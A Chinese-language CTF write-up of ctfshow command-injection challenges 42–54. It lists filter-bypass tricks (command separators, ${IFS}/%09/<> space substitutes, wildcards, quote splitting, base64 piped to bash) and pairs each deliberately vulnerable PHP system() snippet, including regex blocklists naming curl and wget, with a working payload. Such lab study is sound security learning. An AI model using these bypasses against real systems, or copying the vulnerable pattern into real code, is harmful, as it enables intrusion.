0x00前记
终于把学校上学期的期末考试考完了，刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目，其中有很多的坑，但是收获也是很多的，这里做一下总结吧！给自己挖了很多的坑，很感谢各位师傅帮我填坑！！！
0x01命令执行
题目的考点主要都是命令执行+命令分隔，与ping的那种题目类似，不过这里主要是使用是“>/dev/null 2>&1”，百度查了一下意思，好像是不进行回显的意思，那就分隔命令，将命令分开，使得后面的命令失去相应的作用。
分隔命令
; //分号应该是最好理解的
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行，不知道是不是自己姿势不对，没成功，下面也是一样
&& //两条命令都会执行
空格绕过
<
<> //需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A
黑名单
//一般情况像flag、php这种字符会被ban掉，这时候就需要进行绕过了
通配符
* //匹配任何文本或字符串，这个通过测试发现并不能与IFS或<这两个字符一起使用
? //匹配单个任意字符
空字符
$@ //ca$@t flag
$1-$9 //ca$1t flag
${数字} //ca${1}t flag
编码绕过
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash //解码为cat flag.php并执行
echo "cat flag.php"|base64 //最好别在在线网站编码，不然可能会将空格转成url编码，从而无法执行命令
变量替换
a=t;b=g;ca$a fla$b.php
引号
ca''t fl''ag.php
反斜杆
ca\t f\la\g.php
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php
0x02题目解析
以下题目均来自：CTFshow
感谢大师傅给我们出了这些有趣有意思的题目，开心
Web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
//这题没有任何的过滤，只有一个不回显的命令，命令分隔一下即可
Payload：?c=cat flag.php;
Web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这题开始增加了黑名单了，过滤了分号-->可以用||绕过；cat则可以换一种查看文件的命令，或者使用引号等方式绕过
Payload：?c=tac flag.php||
Web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//对此开始过滤flag关键词了，这里可以用单引号、通配符等方法绕过
Payload：?c=tac fla*||
Web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里开始过滤空格了，利用上面讲到的空格绕过即可
Payload：?c=tac%09fla?????||
Web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里过滤了数字推测可能是限制使用编码绕过，过滤了$可以限制比较多，以及通配符*，但是还有?
Payload：?c=tac%09fla??php||
Web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//新添加了一些查看文件的命令进黑名单，但是tac还是可以用的
Payload：?c=tac%09fla??php||
Web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//继续新增黑名单的内容，但是tac还是没过滤，开心
Payload：?c=tac%09fla??php||
Web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Payload：?c=tac%09fla??php||
Web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里过滤了%和09，不能用原来的payload，不过换种空格绕过方式即可，这里有个坑就是<>和?一起使用时没有回显，所以这里用了单引号绕过
Payload：?c=tac<>fla%27%27g.php||
后面几题其实都是差不多的，这里不多赘述了。
Web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//因为这里加了匹配的内容，不能使用空字符绕过了，好不容易找到了grep命令，好用！！！因为flag被过滤了，所以对于关键字这里只用了'fla'
Payload：?c=grep${IFS}'fla'${IFS}fla??php